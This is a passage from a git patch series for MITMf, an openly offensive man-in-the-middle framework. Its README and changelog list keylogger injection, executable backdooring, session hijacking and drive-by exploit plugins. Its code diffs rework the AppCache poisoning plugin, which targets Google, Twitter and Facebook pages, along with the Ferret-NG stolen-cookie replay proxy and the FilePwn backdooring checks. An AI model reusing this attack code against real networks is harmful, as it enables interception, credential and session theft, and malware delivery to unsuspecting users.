Email: byt3bl33d3r@gmail.com -**Before submitting issues, please read the [FAQ](#faq) and [CONTRIBIUTING.md](#submitting-issues).** +**Before submitting issues, please read the [FAQ](#faq) and [CONTRIBUTING.md](CONTRIBUTING.md).** Available plugins ================= -- ```HTA Drive-By``` - Injects a fake update notification and prompts clients to download an HTA application -- ```SMBtrap``` - Exploits the 'SMB Trap' vulnerability on connected clients -- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser -- ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner -- ```SSLstrip+``` - Partially bypass HSTS -- ```Spoof``` - Redirect traffic using ARP spoofing, ICMP redirects or DHCP spoofing -- ```BeEFAutorun``` - Autoruns BeEF modules based on a client's OS or browser type -- ```AppCachePoison``` - Perform app cache poisoning attacks -- ```Ferret-NG``` - Transperently hijacks sessions -- ```BrowserProfiler``` - Attempts to enumerate all browser plugins of connected clients -- ```CacheKill``` - Kills page caching by modifying headers -- ```FilePwn``` - Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy -- ```Inject``` - Inject arbitrary content into HTML content -- ```BrowserSniper``` - Performs drive-by attacks on clients with out-of-date browser plugins -- ```jskeylogger``` - Injects a Javascript keylogger into a client's webpages -- ```Replace``` - Replace arbitary content in HTML content -- ```SMBAuth``` - Evoke SMB challenge-response authentication attempts +- ```HTA Drive-By``` - Injects a fake update notification and prompts clients to download an HTA application +- ```SMBtrap``` - Exploits the 'SMB Trap' vulnerability on connected clients +- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser +- ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner +- ```SSLstrip+``` - Partially bypass HSTS +- ```Spoof``` - Redirect traffic using ARP spoofing, ICMP redirects or DHCP spoofing +- ```BeEFAutorun``` - Autoruns BeEF modules based on a client's OS or browser type +- ```AppCachePoison``` - Perform app cache poisoning attacks +- ```Ferret-NG``` - Transperently hijacks sessions +- ```BrowserProfiler``` - Attempts to enumerate all browser plugins of connected clients +- ```FilePwn``` - Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy +- ```Inject``` - Inject arbitrary content into HTML content +- ```BrowserSniper``` - Performs drive-by attacks on clients with out-of-date browser plugins +- ```jskeylogger``` - Injects a Javascript keylogger into a client's webpages +- ```Replace``` - Replace arbitary content in HTML content +- ```SMBAuth``` - Evoke SMB challenge-response authentication attempts - ```Upsidedownternet``` - Flips images 180 degrees -Changelog -========= - -- Added the ```SMBTrap``` plugin - -- Config file now updates on the fly! - -- ```SessionHijacker``` is replaced with ```Ferret-NG```, captures cookies and starts a proxy that will feed them to connected clients - -- ```JavaPwn``` plugin replced with ```BrowserSniper```, now supports Java, Flash and browser exploits - -- Addition of the ```Screenshotter``` plugin, able to render screenshots of a client's browser at regular intervals - -- Addition of a fully functional SMB server using the [Impacket](https://github.com/CoreSecurity/impacket) library - -- Addition of [DNSChef](https://github.com/iphelix/dnschef), the framework is now a IPv4/IPv6 (TCP & UDP) DNS server! Supported queries are: 'A', 'AAAA', 'MX', 'PTR', 'NS', 'CNAME', 'TXT', 'SOA', 'NAPTR', 'SRV', 'DNSKEY' and 'RRSIG' - -- Integrated [Net-Creds](https://github.com/DanMcInerney/net-creds) currently supported protocols are: - FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos - -- Integrated [Responder](https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS and act as a rogue WPAD server - -- Integrated [SSLstrip+](https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 - -- ```Spoof``` plugin can now exploit the 'ShellShock' bug when DHCP spoofing - -- ```Spoof``` plugin now supports ICMP, ARP and DHCP spoofing - -- Usage of third party tools has been completely removed (e.g. Ettercap) - -- ```FilePwn```plugin re-written to backdoor executables zip and tar files on the fly by using [the-backdoor-factory](https://github.com/secretsquirrel/the-backdoor-factory) and code from [BDFProxy](https://github.com/secretsquirrel/BDFProxy) - -- Added [msfrpc.py](https://github.com/byt3bl33d3r/msfrpc/blob/master/python-msfrpc/msfrpc.py) for interfacing with Metasploit's RPC server - -- Added [beefapi.py](https://github.com/byt3bl33d3r/beefapi) for interfacing with BeEF's RESTfulAPI - -- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here: http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) - How to install on Kali ====================== @@ -83,6 +45,7 @@ Installation If you're rocking Kali and want the latest version: - Clone this repository - Run the ```kali_setup.sh``` script + **Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway** If you're rocking any other Linux distro: @@ -93,7 +56,7 @@ If you're rocking any other Linux distro: FAQ === - **Is Windows supported?** -- No, it will never be supported +- No, it will never be supported (so don't ask). - **Is OSX supported?** - Yes! Initial compatibility has been introduced in 0.9.8! Find anything broken submit a PR or open an issue ticket! diff --git a/plugins/replace.py b/plugins/replace.py index 5133d93..47e5f9f 100644 --- a/plugins/replace.py +++ b/plugins/replace.py @@ -18,7 +18,7 @@ """ -Original plugin by @rubenthijssen +Original plugin by @rthijssen """ From f4df9971f99341b13ecb21feda518bec94e877ec Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 25 Jul 2015 03:29:33 +0200 Subject: [PATCH 214/323] added CHANGELOG.md, CONTRIBUTORS.md and modded README.md --- CHANGELOG.md | 35 +++++++++++++++++++ CONTRIBUTORS.md | 19 +++++++++++ README.md | 83 +++++++++++++--------------------------------- plugins/replace.py | 2 +- 4 files changed, 78 insertions(+), 61 deletions(-) create mode 100644 CHANGELOG.md create mode 100644 CONTRIBUTORS.md diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..23a4e91 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,35 @@ +#Changes before v0.9.8 + +- Added the SMBTrap plugin + +- Config file now updates on the fly! + +- SessionHijacker is replaced with Ferret-NG captures cookies and starts a proxy that will feed them to connected clients + +- JavaPwn plugin replaced with BrowserSniper now supports Java, Flash and browser exploits + +- Addition of the Screenshotter plugin, able to render screenshots of a client's browser at regular intervals + +- Addition of a fully functional SMB server using the [Impacket](https://github.com/CoreSecurity/impacket) library + +- Addition of [DNSChef](https://github.com/iphelix/dnschef), the framework is now a IPv4/IPv6 (TCP & UDP) DNS server! Supported queries are: 'A', 'AAAA', 'MX', 'PTR', 'NS', 'CNAME', 'TXT', 'SOA', 'NAPTR', 'SRV', 'DNSKEY' and 'RRSIG' + +- Integrated [Net-Creds](https://github.com/DanMcInerney/net-creds) currently supported protocols are: FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos + +- Integrated [Responder](https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS and act as a rogue WPAD server + +- Integrated [SSLstrip+](https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 + +- Spoof plugin can now exploit the 'ShellShock' bug when DHCP spoofing + +- Spoof plugin now supports ICMP, ARP and DHCP spoofing + +- Usage of third party tools has been completely removed (e.g. Ettercap) + +- FilePwn plugin re-written to backdoor executables zip and tar files on the fly by using [the-backdoor-factory](https://github.com/secretsquirrel/the-backdoor-factory) and code from [BDFProxy](https://github.com/secretsquirrel/BDFProxy) + +- Added [msfrpc.py](https://github.com/byt3bl33d3r/msfrpc/blob/master/python-msfrpc/msfrpc.py) for interfacing with Metasploit's RPC server + +- Added [beefapi.py](https://github.com/byt3bl33d3r/beefapi) for interfacing with BeEF's RESTfulAPI + +- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here: http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) \ No newline at end of file diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md new file mode 100644 index 0000000..13ff3ab --- /dev/null +++ b/CONTRIBUTORS.md @@ -0,0 +1,19 @@ +#Intentional contributors (in no particular order) + +- @rthijssen +- @ivangr0zni (Twitter) +- @xtr4nge +- @DrDinosaur +- @secretsquirrel +- @binkybear +- @0x27 +- @golind +- @mmetince +- @niallmerrigan + +#Unintentional contributors and/or projects that I stole code from + +- Metasploit Framework's os.js and Javascript Keylogger module +- The Backdoor Factory and BDFProxy +- ARPWatch module from the Subterfuge Framework +- Impacket's KarmaSMB script \ No newline at end of file diff --git a/README.md b/README.md index ea81b85..6cbf676 100644 --- a/README.md +++ b/README.md @@ -6,71 +6,33 @@ Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.i This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. -Twitter: @byt3bl33d3r -IRC on Freenode: #MITMf -Email: byt3bl33d3r@gmail.com +Contact me at: +- Twitter: @byt3bl33d3r +- IRC on Freenode: #MITMf +- Email: byt3bl33d3r@gmail.com -**Before submitting issues, please read the [FAQ](#faq) and [CONTRIBIUTING.md](#submitting-issues).** +**Before submitting issues, please read the [FAQ](#faq) and [CONTRIBUTING.md](CONTRIBUTING.md).** Available plugins ================= -- ```HTA Drive-By``` - Injects a fake update notification and prompts clients to download an HTA application -- ```SMBtrap``` - Exploits the 'SMB Trap' vulnerability on connected clients -- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser -- ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner -- ```SSLstrip+``` - Partially bypass HSTS -- ```Spoof``` - Redirect traffic using ARP spoofing, ICMP redirects or DHCP spoofing -- ```BeEFAutorun``` - Autoruns BeEF modules based on a client's OS or browser type -- ```AppCachePoison``` - Perform app cache poisoning attacks -- ```Ferret-NG``` - Transperently hijacks sessions -- ```BrowserProfiler``` - Attempts to enumerate all browser plugins of connected clients -- ```CacheKill``` - Kills page caching by modifying headers -- ```FilePwn``` - Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy -- ```Inject``` - Inject arbitrary content into HTML content -- ```BrowserSniper``` - Performs drive-by attacks on clients with out-of-date browser plugins -- ```jskeylogger``` - Injects a Javascript keylogger into a client's webpages -- ```Replace``` - Replace arbitary content in HTML content -- ```SMBAuth``` - Evoke SMB challenge-response authentication attempts +- ```HTA Drive-By``` - Injects a fake update notification and prompts clients to download an HTA application +- ```SMBtrap``` - Exploits the 'SMB Trap' vulnerability on connected clients +- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser +- ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner +- ```SSLstrip+``` - Partially bypass HSTS +- ```Spoof``` - Redirect traffic using ARP spoofing, ICMP redirects or DHCP spoofing +- ```BeEFAutorun``` - Autoruns BeEF modules based on a client's OS or browser type +- ```AppCachePoison``` - Perform app cache poisoning attacks +- ```Ferret-NG``` - Transperently hijacks sessions +- ```BrowserProfiler``` - Attempts to enumerate all browser plugins of connected clients +- ```FilePwn``` - Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy +- ```Inject``` - Inject arbitrary content into HTML content +- ```BrowserSniper``` - Performs drive-by attacks on clients with out-of-date browser plugins +- ```jskeylogger``` - Injects a Javascript keylogger into a client's webpages +- ```Replace``` - Replace arbitary content in HTML content +- ```SMBAuth``` - Evoke SMB challenge-response authentication attempts - ```Upsidedownternet``` - Flips images 180 degrees -Changelog -========= - -- Added the ```SMBTrap``` plugin - -- Config file now updates on the fly! - -- ```SessionHijacker``` is replaced with ```Ferret-NG```, captures cookies and starts a proxy that will feed them to connected clients - -- ```JavaPwn``` plugin replced with ```BrowserSniper```, now supports Java, Flash and browser exploits - -- Addition of the ```Screenshotter``` plugin, able to render screenshots of a client's browser at regular intervals - -- Addition of a fully functional SMB server using the [Impacket](https://github.com/CoreSecurity/impacket) library - -- Addition of [DNSChef](https://github.com/iphelix/dnschef), the framework is now a IPv4/IPv6 (TCP & UDP) DNS server! Supported queries are: 'A', 'AAAA', 'MX', 'PTR', 'NS', 'CNAME', 'TXT', 'SOA', 'NAPTR', 'SRV', 'DNSKEY' and 'RRSIG' - -- Integrated [Net-Creds](https://github.com/DanMcInerney/net-creds) currently supported protocols are: - FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos - -- Integrated [Responder](https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS and act as a rogue WPAD server - -- Integrated [SSLstrip+](https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 - -- ```Spoof``` plugin can now exploit the 'ShellShock' bug when DHCP spoofing - -- ```Spoof``` plugin now supports ICMP, ARP and DHCP spoofing - -- Usage of third party tools has been completely removed (e.g. Ettercap) - -- ```FilePwn```plugin re-written to backdoor executables zip and tar files on the fly by using [the-backdoor-factory](https://github.com/secretsquirrel/the-backdoor-factory) and code from [BDFProxy](https://github.com/secretsquirrel/BDFProxy) - -- Added [msfrpc.py](https://github.com/byt3bl33d3r/msfrpc/blob/master/python-msfrpc/msfrpc.py) for interfacing with Metasploit's RPC server - -- Added [beefapi.py](https://github.com/byt3bl33d3r/beefapi) for interfacing with BeEF's RESTfulAPI - -- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here: http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) - How to install on Kali ====================== @@ -83,6 +45,7 @@ Installation If you're rocking Kali and want the latest version: - Clone this repository - Run the ```kali_setup.sh``` script + **Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway** If you're rocking any other Linux distro: @@ -93,7 +56,7 @@ If you're rocking any other Linux distro: FAQ === - **Is Windows supported?** -- No, it will never be supported +- No, it will never be supported (so don't ask). - **Is OSX supported?** - Yes! Initial compatibility has been introduced in 0.9.8! Find anything broken submit a PR or open an issue ticket! diff --git a/plugins/replace.py b/plugins/replace.py index 5133d93..47e5f9f 100644 --- a/plugins/replace.py +++ b/plugins/replace.py @@ -18,7 +18,7 @@ """ -Original plugin by @rubenthijssen +Original plugin by @rthijssen """ From f0fce41c88f756d41b4990f6150ced8d95e8927b Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 26 Jul 2015 14:03:56 +0200 Subject: [PATCH 215/323] App-Cache poison and BrowserSniper plugins have been refactored, added supported python version tags in README --- CONTRIBUTORS.md | 1 + README.md | 36 ++--- .../app_cache_poison_templates/default.append | 2 +- .../app_cache_poison_templates/script.append | 2 +- .../{Flash.hta => flash_setup.hta} | 0 config/mitmf.conf | 17 +-- core/ferretng/ClientRequest.py | 4 +- core/ferretng/CookieCleaner.py | 2 - core/ferretng/SSLServerConnection.py | 3 +- core/ferretng/ServerConnection.py | 3 +- core/ferretng/ServerConnectionFactory.py | 2 +- mitmf.py | 1 + plugins/appcachepoison.py | 127 ++++++++---------- plugins/ferretng.py | 6 +- plugins/filepwn.py | 9 +- plugins/htadriveby.py | 2 +- 16 files changed, 96 insertions(+), 121 deletions(-) rename config/hta_driveby/{Flash.hta => flash_setup.hta} (100%) diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md index 890f729..7c9e529 100644 --- a/CONTRIBUTORS.md +++ b/CONTRIBUTORS.md @@ -10,6 +10,7 @@ - @golind - @mmetince - @niallmerrigan +- @auraltension #Unintentional contributors and/or projects that I stole code from diff --git a/README.md b/README.md index 6cbf676..615489a 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,5 @@ +[![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg)] + #MITMf V0.9.8 - 'The Dark Side' Framework for Man-In-The-Middle attacks @@ -15,23 +17,23 @@ Contact me at: Available plugins ================= -- ```HTA Drive-By``` - Injects a fake update notification and prompts clients to download an HTA application -- ```SMBtrap``` - Exploits the 'SMB Trap' vulnerability on connected clients -- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser -- ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner -- ```SSLstrip+``` - Partially bypass HSTS -- ```Spoof``` - Redirect traffic using ARP spoofing, ICMP redirects or DHCP spoofing -- ```BeEFAutorun``` - Autoruns BeEF modules based on a client's OS or browser type -- ```AppCachePoison``` - Perform app cache poisoning attacks -- ```Ferret-NG``` - Transperently hijacks sessions -- ```BrowserProfiler``` - Attempts to enumerate all browser plugins of connected clients -- ```FilePwn``` - Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy -- ```Inject``` - Inject arbitrary content into HTML content -- ```BrowserSniper``` - Performs drive-by attacks on clients with out-of-date browser plugins -- ```jskeylogger``` - Injects a Javascript keylogger into a client's webpages -- ```Replace``` - Replace arbitary content in HTML content -- ```SMBAuth``` - Evoke SMB challenge-response authentication attempts -- ```Upsidedownternet``` - Flips images 180 degrees +- ```HTA Drive-By``` : Injects a fake update notification and prompts clients to download an HTA application +- ```SMBtrap``` : Exploits the 'SMB Trap' vulnerability on connected clients +- ```Screenshotter``` : Uses HTML5 Canvas to render an accurate screenshot of a clients browser +- ```Responder``` : LLMNR, NBT-NS, WPAD and MDNS poisoner +- ```SSLstrip+``` : Partially bypass HSTS +- ```Spoof``` : Redirect traffic using ARP spoofing, ICMP redirects or DHCP spoofing +- ```BeEFAutorun``` : Autoruns BeEF modules based on a client's OS or browser type +- ```AppCachePoison``` : Perform app cache poisoning attacks +- ```Ferret-NG``` : Transperently hijacks sessions +- ```BrowserProfiler``` : Attempts to enumerate all browser plugins of connected clients +- ```FilePwn``` : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy +- ```Inject``` : Inject arbitrary content into HTML content +- ```BrowserSniper``` : Performs drive-by attacks on clients with out-of-date browser plugins +- ```jskeylogger``` : Injects a Javascript keylogger into a client's webpages +- ```Replace``` : Replace arbitary content in HTML content +- ```SMBAuth``` : Evoke SMB challenge-response authentication attempts +- ```Upsidedownternet``` : Flips images 180 degrees How to install on Kali ====================== diff --git a/config/app_cache_poison_templates/default.append b/config/app_cache_poison_templates/default.append index 169e917..9c40f8d 100644 --- a/config/app_cache_poison_templates/default.append +++ b/config/app_cache_poison_templates/default.append @@ -34,5 +34,5 @@

AppCache Poison works!

-

%%tamper_url%% page is spoofed with AppCache Poison by Krzysztof Kotowicz, but this is just a default content. To replace it, create appropriate files in your templates directory and add your content there.

+

This page is spoofed with AppCache Poison by Krzysztof Kotowicz, but this is just a default content. To replace it, create appropriate files in your templates directory and add your content there.

\ No newline at end of file diff --git a/config/app_cache_poison_templates/script.append b/config/app_cache_poison_templates/script.append index 4289f38..2ff38fb 100644 --- a/config/app_cache_poison_templates/script.append +++ b/config/app_cache_poison_templates/script.append @@ -1,2 +1,2 @@ -;console.log('AppCache Poison was here. Google Analytics FTW'); \ No newline at end of file +;alert('AppCache Poison was here. Google Analytics FTW'); \ No newline at end of file diff --git a/config/hta_driveby/Flash.hta b/config/hta_driveby/flash_setup.hta similarity index 100% rename from config/hta_driveby/Flash.hta rename to config/hta_driveby/flash_setup.hta diff --git a/config/mitmf.conf b/config/mitmf.conf index 767fd9b..9e75143 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -142,7 +142,7 @@ # Here you can specify the client to hijack sessions from # - Client = '192.168.20.126' + Client = '192.168.1.26' [SSLstrip+] @@ -248,18 +248,9 @@ templates=test # which templates to use for spoofing content? skip_in_mass_poison=1 - [[gmail]] - #use absolute URLs - system tracks 30x redirects, so you can put any URL that belongs to the redirection loop here - - tamper_url=http://mail.google.com/mail/ - - # manifest has to be of last domain in redirect loop - - manifest_url=http://mail.google.com/robots.txt - templates=default # could be omitted - [[google]] - tamper_url = http://www.google.com/ + tamper_url_match = http://www.google.com\.*. + tamper_url = http://www.google.com manifest_url = http://www.google.com/robots.txt [[facebook]] @@ -269,7 +260,7 @@ [[twitter]] tamper_url=http://twitter.com/ - #tamper_url_match=^http://(www\.)?twitter\.com/$ + tamper_url_match=^http://(www\.)?twitter\.com/$ manifest_url=http://twitter.com/robots.txt [[html5rocks]] diff --git a/core/ferretng/ClientRequest.py b/core/ferretng/ClientRequest.py index eb4abf1..226f6a2 100644 --- a/core/ferretng/ClientRequest.py +++ b/core/ferretng/ClientRequest.py @@ -32,6 +32,7 @@ from twisted.internet import defer from twisted.internet import reactor from twisted.internet.protocol import ClientFactory +from core.logger import logger from ServerConnectionFactory import ServerConnectionFactory from ServerConnection import ServerConnection from SSLServerConnection import SSLServerConnection @@ -39,7 +40,7 @@ from URLMonitor import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache -formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("Ferret_ClientRequest", formatter) class ClientRequest(Request): @@ -79,7 +80,6 @@ class ClientRequest(Request): headers['cookie'] = entry['cookie'] except KeyError: log.error("No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client)) - pass return headers diff --git a/core/ferretng/CookieCleaner.py b/core/ferretng/CookieCleaner.py index 5ba393c..892fce0 100644 --- a/core/ferretng/CookieCleaner.py +++ b/core/ferretng/CookieCleaner.py @@ -15,8 +15,6 @@ # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA # - -import logging import string class CookieCleaner: diff --git a/core/ferretng/SSLServerConnection.py b/core/ferretng/SSLServerConnection.py index d783c10..778c73d 100644 --- a/core/ferretng/SSLServerConnection.py +++ b/core/ferretng/SSLServerConnection.py @@ -18,10 +18,11 @@ import logging, re, string +from core.logger import logger from ServerConnection import ServerConnection from URLMonitor import URLMonitor -formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("Ferret_SSLServerConnection", formatter) class SSLServerConnection(ServerConnection): diff --git a/core/ferretng/ServerConnection.py b/core/ferretng/ServerConnection.py index b08e943..5cd085d 100644 --- a/core/ferretng/ServerConnection.py +++ b/core/ferretng/ServerConnection.py @@ -25,10 +25,11 @@ import gzip import StringIO import sys +from core.logger import logger from twisted.web.http import HTTPClient from URLMonitor import URLMonitor -formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("Ferret_ServerConnection", formatter) class ServerConnection(HTTPClient): diff --git a/core/ferretng/ServerConnectionFactory.py b/core/ferretng/ServerConnectionFactory.py index bd9c83b..0c725ae 100644 --- a/core/ferretng/ServerConnectionFactory.py +++ b/core/ferretng/ServerConnectionFactory.py @@ -20,7 +20,7 @@ import logging from core.logger import logger from twisted.internet.protocol import ClientFactory -formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("Ferret_ServerConnectionFactory", formatter) class ServerConnectionFactory(ClientFactory): diff --git a/mitmf.py b/mitmf.py index 66a5c68..d7fe9a6 100755 --- a/mitmf.py +++ b/mitmf.py @@ -83,6 +83,7 @@ from core.sslstrip.StrippingProxy import StrippingProxy from core.sslstrip.URLMonitor import URLMonitor URLMonitor.getInstance().setFaviconSpoofing(options.favicon) +URLMonitor.getInstance().setCaching(options.preserve_cache) CookieCleaner.getInstance().setEnabled(options.killsessions) strippingFactory = http.HTTPFactory(timeout=10) diff --git a/plugins/appcachepoison.py b/plugins/appcachepoison.py index 3430d94..f40b456 100644 --- a/plugins/appcachepoison.py +++ b/plugins/appcachepoison.py @@ -34,22 +34,19 @@ class AppCachePlugin(Plugin): def initialize(self, options): self.options = options self.mass_poisoned_browsers = [] + from core.sslstrip.URLMonitor import URLMonitor self.urlMonitor = URLMonitor.getInstance() self.urlMonitor.setAppCachePoisoning() def response(self, response, request, data): - #This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future - - self.app_config = self.config['AppCachePoison'] # so we reload the config on each request + self.app_config = self.config['AppCachePoison'] url = request.client.uri req_headers = request.client.getAllHeaders() headers = request.client.responseHeaders ip = request.client.getClientIP() - ######################################################################### - if "enable_only_in_useragents" in self.app_config: regexp = self.app_config["enable_only_in_useragents"] if regexp and not re.search(regexp,req_headers["user-agent"]): @@ -58,53 +55,56 @@ class AppCachePlugin(Plugin): urls = self.urlMonitor.getRedirectionSet(url) self.clientlog.debug("Got redirection set: {}".format(urls), extra=request.clientInfo) - (name,s,element,url) = self.getSectionForUrls(urls) - if s is False: - data = self.tryMassPoison(url, data, headers, req_headers, ip) - return {'response': response, 'request': request, 'data': data} + section = False + for url in urls: + for name in self.app_config: + if isinstance(self.app_config[name], dict): #'tis a section + section = self.app_config[name] - self.clientlog.info("Found URL {} in section {}".format(url, name), extra=request.clientInfo) - p = self.getTemplatePrefix(s) + if section.get('manifest_url', False) == url: + self.clientlog.info("Found URL in section '{}'!".format(name), extra=request.clientInfo) + self.clientlog.info("Poisoning manifest URL", extra=request.clientInfo) + data = self.getSpoofedManifest(url, section) + headers.setRawHeaders("Content-Type", ["text/cache-manifest"]) - if element == 'tamper': - self.clientlog.info("Poisoning tamper URL with template {}".format(p), extra=request.clientInfo) - if os.path.exists(p + '.replace'): # replace whole content - f = open(p + '.replace','r') - data = self.decorate(f.read(), s) - f.close() + elif section.get('raw_url',False) == url: # raw resource to modify, it does not have to be html + self.clientlog.info("Found URL in section '{}'!".format(name), extra=request.clientInfo) + p = self.getTemplatePrefix(section) + self.clientlog.info("Poisoning raw URL", extra=request.clientInfo) + if os.path.exists(p + '.replace'): # replace whole content + f = open(p + '.replace', 'r') + data = f.read() + f.close() - elif os.path.exists(p + '.append'): # append file to body - f = open(p + '.append','r') - appendix = self.decorate(f.read(), s) - f.close() - # append to body - data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) + elif os.path.exists(p + '.append'): # append file to body + f = open(p + '.append', 'r') + data += f.read() + f.close() - # add manifest reference - data = re.sub(re.compile("",re.IGNORECASE), appendix + "", data) #append to body + f.close() + + # add manifest reference + data = re.sub(re.compile("" return html + "" - + def cacheForFuture(self, headers): ten_years = 315569260 - headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)]) + headers.setRawHeaders("Cache-Control",["max-age={}".format(ten_years)]) headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh in_ten_years = date.fromtimestamp(time.time() + ten_years) headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")]) - def removeDangerousHeaders(self, headers): - headers.removeHeader("X-Frame-Options") - def getSpoofedManifest(self, url, section): p = self.getTemplatePrefix(section) if not os.path.exists(p+'.manifest'): @@ -159,8 +161,8 @@ class AppCachePlugin(Plugin): return self.decorate(manifest, section) def decorate(self, content, section): - for i in section: - content = content.replace("%%"+i+"%%", section[i]) + for entry in section: + content = content.replace("%%{}%%".format(entry), section[entry]) return content def getTemplatePrefix(self, section): @@ -173,25 +175,4 @@ class AppCachePlugin(Plugin): return self.app_config['templates_path'] + '/default' def getManifestUrl(self, section): - return section.get("manifest_url",'/robots.txt') - - def getSectionForUrls(self, urls): - for url in urls: - for i in self.app_config: - if isinstance(self.app_config[i], dict): #section - section = self.app_config[i] - name = i - - if section.get('tamper_url',False) == url: - return (name, section, 'tamper',url) - - if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url): - return (name, section, 'tamper',url) - - if section.get('manifest_url',False) == url: - return (name, section, 'manifest',url) - - if section.get('raw_url',False) == url: - return (name, section, 'raw',url) - - return (None, False,'',urls.copy().pop()) + return section.get("manifest_url",'/robots.txt') diff --git a/plugins/ferretng.py b/plugins/ferretng.py index 75df7be..e79f499 100644 --- a/plugins/ferretng.py +++ b/plugins/ferretng.py @@ -23,7 +23,7 @@ from datetime import datetime from plugins.plugin import Plugin from twisted.internet import reactor from twisted.web import http -from twisted.internet import reactor +from core.ferretng.URLMonitor import URLMonitor class FerretNG(Plugin): name = "Ferret-NG" @@ -37,9 +37,6 @@ class FerretNG(Plugin): self.ferret_port = options.ferret_port self.cookie_file = None - from core.ferretng.FerretProxy import FerretProxy - from core.ferretng.URLMonitor import URLMonitor - URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] from core.utils import shutdown @@ -79,6 +76,7 @@ class FerretNG(Plugin): URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie}) def reactor(self, StrippingProxy): + from core.ferretng.FerretProxy import FerretProxy FerretFactory = http.HTTPFactory(timeout=10) FerretFactory.protocol = FerretProxy reactor.listenTCP(self.ferret_port, FerretFactory) diff --git a/plugins/filepwn.py b/plugins/filepwn.py index 52f46b2..83bd6b9 100644 --- a/plugins/filepwn.py +++ b/plugins/filepwn.py @@ -388,7 +388,7 @@ class FilePwn(Plugin): continue # Check against keywords - keywordCheck = False + keywordCheck = True if type(self.tarblacklist) is str: if self.tarblacklist.lower() in info.name.lower(): @@ -502,7 +502,7 @@ class FilePwn(Plugin): continue #Check against keywords - keywordCheck = False + keywordCheck = True if type(self.zipblacklist) is str: if self.zipblacklist.lower() in info.filename.lower(): @@ -591,7 +591,8 @@ class 